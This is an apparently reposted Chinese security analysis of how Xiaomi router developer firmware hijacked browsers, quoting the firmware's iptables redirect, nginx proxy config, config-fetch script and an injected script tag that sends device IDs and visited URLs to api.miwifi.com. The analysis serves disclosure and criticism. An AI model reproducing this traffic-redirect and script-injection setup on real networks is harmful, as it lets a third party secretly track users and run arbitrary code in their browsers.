2025 年技术指引:让真实案例和经验为开发者开路 了解详情
写点什么

小米路由器劫持用户浏览器事件始末

  • 2015-06-29
  • 本文字数:3967 字

    阅读完需:约 13 分钟

声明:为了更好地向读者输出更优质的内容,InfoQ 将精选来自国内外的优秀文章,经过整理审校后,发布到网站。本篇文章作者为乌云白帽子 lxj616,原文链接。本文已由乌云网授权InfoQ 中文站转载。欢迎转发,但请保留原作者信息!

0x00 概述

小米路由器开发版固件被用户发现(并非稳定版固件,不会影响大多数用户,如果你不明白这是什么意思,它不会影响到你)使用黑客技术劫持用户浏览器向用户投送广告。该技术在黑客界广泛用于偷取用户密码甚至可能控制用户电脑和手机。目前小米官方已经作出回应,称该事件为“借机炒作恶意煽动”,并解释“所谓的广告”是友好的新功能提示。目前小米官方已经做出相应调整,该功能已经暂时失效。

2015 年 6 月初,有用户举报说最新开发版(2.3.31)的小米路由器固件劫持了用户浏览器,在用户完全不知情的情况下向浏览器发送广告代码并执行。本文以官方提供下载的 2.3.5 版本进行代码分析,论证其功能的技术实现以及可能的影响,并对照小米官方微博的声明进行技术核对和解释。

0x01 用户举报

在 V2EX 上由用户反映在通过小米路由器浏览网页时,网页被注入了 JS 代码,而这段代码目前还只是被用来显示广告。《小米路由器先劫持http 错误码, 现在又在部分网站添加小尾巴,什么节奏?》这意味着你在完全不知情的前提下,你看到的所有内容其实都受小米路由器的控制,这段代码可以被用来显示广告,也可以偷取你的密码,可以随便修改任何网页的内容来欺骗你,甚至如果你的浏览器有漏洞的话,小米路由器还可能会控制你的电脑或手机。

0x02 原理分析 & 代码分析

在代码分析之前概述一下。简单地说,你通过一个路由器来上网,你把数据先交给路由器,然后路由器才把数据通过网线送出你家。而小米路由器对你交给它的数据做了手脚——不仅看了,还修改了。以下代码来自官方网站提供下载的 2.3.5 版本,使用 binwalk 解压固件 fs,再分析得到的代码。

http://bigota.miwifi.com/xiaoqiang/rom/r1cm/miwifi_r1cm_firmware_7054f_2.3.5.bin 下面为 /lib/firewall/rr.loader 第 20 行:

iptables -t nat -A "$1" -m set --match-set "rr_tb" dst -p tcp -j REDIRECT --to-ports 8380在转发用户数据包之前把所有 rr_tb 列表里面目的为 80 端口的 tcp 数据包重定向至 8380 端口,这个是 dnsmasq+ipset 从小米服务器上获取的域名 IP。

下面为 /etc/sysapihttpd/sysapihttpd.conf 第 384 行:

复制代码
miwifi_toolbar_config miwifi_toolbar_zone 500K "RR_PATH_STUB";
server {
listen 8380;
resolver localhost;
location / {
set $device_id "DEV_ID_STUB";
set $rom_version "ROM_VERSION_STUB";
set $hardware "DEV_MODEL_STUB";
set $channel "CHANNEL_STUB";
include "/tmp/rr/footer";
miwifi_toolbar miwifi_toolbar_zone;
proxy_pass $scheme://$host$request_uri;
proxy_ignore_client_abort off;
proxy_connect_timeout 30s;
proxy_read_timeout 30s;
proxy_send_timeout 30s;
proxy_buffering off;
proxy_set_header Accept-Encoding '';
proxy_max_temp_file_size 0;
proxy_set_header Host $http_host;
}
}

其实 sysapihttpd 就是 nginx,监听 8380 端口,做了一个反向代理(用在本地相当于透明代理),插入了 /tmp/rr/footer 代码(RR_PATH_STUB),至于什么是反向代理,请参考乌云知识库之前的文章《钓鱼?这是反代理!》,那么,这个/tmp/rr/footer 是哪里来的呢?

下面为/usr/bin/pull-req-rule 第22 行:

复制代码
create_url() {
local ts=${1:-0}
local device_id=$(matool --method deviceID)
local rom=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.ROM)
local hardware=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.HARDWARE)
local channel=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.CHANNEL)
local url="http://api.miwifi.com/rr/config"
echo $url'?'ts=$ts'&'device_id=$device_id'&'rom=$rom'&'hardware=$hardware'&'channel=$channel
}
extract_footer() {
local footer_file="$rr_prefix/footer"
local footer=$(cat $content_file | grep '^footer' | cut -d$'\t' -f 2)
echo "miwifi_toolbar_template \"$footer\";" > $footer_file
}

第一个函数是配置文件的地址,第二个函数是将配置文件中的广告代码放进上文所说的文件中之后我们根据 url 的生成规则去看一眼这个 config 文件:
http://api.miwifi.com/rr/config?ts=1&device_id=0&rom=2.3.31&hardware=miwifi&channel=0

复制代码
ts 1
footer <script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&channel=${channel}\"></script></body></html>
exclude_suffix .css|.js|.jpeg|.png|.gif|.ico
rule_count 0 0

我们可以清晰的看到,这段代码是加载了一个来自 api.miwifi.com 的 JS 代码文件,换句话说,这个文件里的代码你会无条件的直接执行,无论它是偷密码的,还是发广告的。 而规则已经被小米官方清空,这也意味着不再向任何域名投放广告,但是这仅仅意味着小米服务器指示你的路由器不再 JS 注入,小米可以任意时间通过修改这个 api.miwifi.com 上的控制文件来重新指示你的路由器做 JS 注入,而你到时候完全不会知道发生了什么。

在小米作出相应调整之前,有网友记录的 config 文件内容为(原地址 http://pastebin.com/4t7eKNsA ):

复制代码
ts 1434688147041
footer <script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&c
hannel=${channel}\"></script></body></html>
exclude_suffix .css|.js|.jpeg|.png|.gif|.ico
rule_count 845 845
rule 67a.cn 1 0
w_rule / * l t
rule lizhidy.com 1 0
w_rule / * l t
rule hacg.be 1 0
w_rule / * l t
…………………省略……………………

这里的 rule 是指投放 JS 代码的域名列表,只要在这个列表里,访问时就会注入 JS。形象的比喻:小米具有定向打击的能力,它能在任意时间,任意域名下给你投放任意代码,小米官方称这只是友好的新功能提示,网上炒作都是恶意抹黑。显而易见的是“小米对这段代码有绝对的控制权,友好不友好都是受小米控制的,代码内容是广告还是木马到头来完全听从小米的,而你上网时必须听从这段代码的指挥”。

该代码是一个动态代码,实时从小米官方服务器上获取指令执行,用户无法干预该指令的执行,并且无法得知该指令的存在。

这就是所谓的广告代码,小米对该代码有绝对控制权,可以在任意时间投放任意代码给用户执行。

0x03 到底广告友好不友好

再看看上文小米路由器插入的广告代码,不看不要紧,一看吓一跳:

<script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&channel=${channel}\"></script>host 是你访问的网站,uri 是你访问网站时浏览的页面(以及你提交的 GET 查询数据),该数据可能包含你的账号名称、身份标识。换句话说就是你在网页里输入的东西都有可能被发往小米官方服务器,你看到什么,小米官方就能看到什么。技术上讲,你在访问网页时被跟踪了,这段代码执行时不仅仅是显示广告,还把你浏览器地址栏里面的内容全都发送到了小米服务器上。

从网友提供的图片可以看到,网友正在浏览的网页地址 http://movie.douban.com/subject/25718082 被小米路由器主动提交给了小米官方服务器(因为该网页并不包含特别机密信息,且网友已经公开本图片,请允许我在此公开该网页地址,请该网友见谅。)

0x04 总结

  1. 小米官方称“开发版试水”情况属实,并不会影响到正常使用稳定版的用户。
  2. 小米官方称“已经作出相应调整”情况属实,临时取消 JS 注入域名清单(取消注入)。
  3. 网友所说的 JS 注入情况属实,并且并非静态 JS,而是小米服务器上的动态 JS。
  4. 网友所说的浏览器劫持情况属实,官方所说手机 APP 能够关闭 404 页面情况属实,但是这个功能默认是开着的,需要手动关闭。
  5. 小米官方称“炒作”情况属实,首先用户在反馈时忘记注明是开发版固件,因此使用的并不是普通用户的稳定版功能,而媒体并没有解释“开发版”的含义,盲目大力渲染“劫持、注入”的危害,给用户造成了片面印象,“小米对手动安装了开发版固件的无辜用户做了劫持和 JS 注入,但还没有在全国强推该计划”。
  6. 小米官方称“友好的新功能提示”不实,该代码将用户的浏览信息上传至小米服务器(具体来说,你看的每一个网页地址,某些情况下可能包含用户名、密码)。
  7. 404 页面劫持会泄露用户浏览的网页地址情况属实,但是一般来说这不会泄露个人隐私。另外 404 也有开关了,因此不再讨论。

个人观点:小米路由器开发版设计的浏览器劫持、JS 代码注入功能性质恶劣,严重侵犯了用户的隐私权,甚至将来有可能借此入侵用户的计算机与手机。并且所插入的 JS 代码确实将用户的隐私信息(浏览器访问网站的地址及部分用户输入的内容)窃取至小米服务器,已经可以定性为后门程序。然而开发版意味着该功能只是技术尝试,并未给普通用户造成实际影响,因此虽然性质恶劣但是目前影响并不大。我认为小米有意将木马程序推送给全国用户,暂时先在开发版里试一下水,如果不被发现就继续这么干下去了,现在被发现之后轻描淡写称开发版是逗你们玩儿的。笔者不禁想起之前大量 discuz 论坛被黑的事件,域名被劫持加上恶意代码,导致使用 discuz 论坛的站长在登录后台之后执行了恶意代码自己论坛被黑。

2015-06-29 10:4113694

评论

发布
暂无评论
发现更多内容

Kubernetes数据持久化管理

乌龟哥哥

三周年连更

试用「ChatGPT」几周之后

人工智能 ChatGPT

为什么老有人想让我们“程序员”失业? | 社区征文

坚果

三周年征文

全网好评!程序员面试必备的Java八股文,适合所有的Java求职者!

Java你猿哥

Java Spring Boot 多线程 java基础 Java八股文

GitHub最新爆火,2023年最新版互联网大厂Java八股文合集PDF版出炉

开心学Java

Java 面试 Java八股文

守护企业网站安全!选择华为云网站安全方案更准

YG科技

Spring Boot:MyBatis分页

Java你猿哥

Java spring Spring Boot mybatis ssm

初学者如何系统性地学习Linux?

海拥(haiyong.site)

三周年连更

mosn基于延迟负载均衡算法——走得更快,期待走得更稳 | 京东云技术团队

京东科技开发者

负载均衡 京东云 企业号 5 月 PK 榜

Android App开发超实用实例 | ​Broadcast

TiAmo

broadcast broadcastreceiver Android APP

耗时15天,我把“大厂面试指南”进行了重新梳理,V2.0版已上线

Java你猿哥

Java 数据库 计算机 java面试 java基础

华为云网站安全解决方案:让企业上云后无忧开展网站业务

YG科技

京东APP百亿级商品与车关系数据检索实践 | 京东云技术团队

京东科技开发者

数据库 京东云 企业号 5 月 PK 榜

Linux中最低调、最易让人忽视的tmp目录,原来用处那么大!

wljslmz

Linux 三周年连更

Flink数据流介绍

阿泽🧸

flink 三周年连更

另一个CI/CD构建工具

weichenqi

DevOps 云原生 运维平台

Spring Data JPA:轻松实现数据持久化

Java你猿哥

Java spring ssm spring data

百度AI,和“吴文俊奖”同行的十二年、千丈山、万里路

脑极体

百度 吴文俊奖

All in AI,现在开始算不算太晚?

Baihai IDP

人工智能 AI 企业号 5 月 PK 榜 人工智能浪潮

和写作谈谈感觉,你也许可以这样做。

叶小鍵

kafka高性能设计之内存池

Java你猿哥

Java kafka ssm 架构师 内存池

DevData Talks | 思码逸陆春蕊:研发效能度量落地的难点与计策

思码逸研发效能

研发效能

Mac 配置ChatGLM-6B环境

IT蜗壳-Tango

三周年连更

华为云网站安全解决方案助力企业腾“云”驾“务”

YG科技

RabbitMQ - 1消息队列中间件AMQP协议、和主要角色

Java你猿哥

Java ssm AMQP Rabbit MQ

玩转服务器之Java Web篇:手把手教你搭建Java Web环境 | 京东云技术团队

京东科技开发者

Java 云服务器 京东云 企业号 5 月 PK 榜

几种常见的Python数据结构

华为云开发者联盟

Python 开发 华为云 华为云开发者联盟 企业号 5 月 PK 榜

轻量级云原生大数据平台"CloudEon"正式开源

CloudEon开源

大数据 云原生 服务 解决方案 组件

华为云网站安全解决方案一站式护航

YG科技

外译笔记 | 比尔盖茨:AI与智能手机和互联网一样具有革命性

京东科技开发者

AI 京东云 企业号 5 月 PK 榜

浪潮信息 KOS 助力企业核心业务完成 CentOS 迁移替换,性能提升 10%|龙蜥案例

OpenAnolis小助手

操作系统 开源社区 CentOS迁移 浪潮信息 龙蜥案例

小米路由器劫持用户浏览器事件始末_安全_lxj616_InfoQ精选文章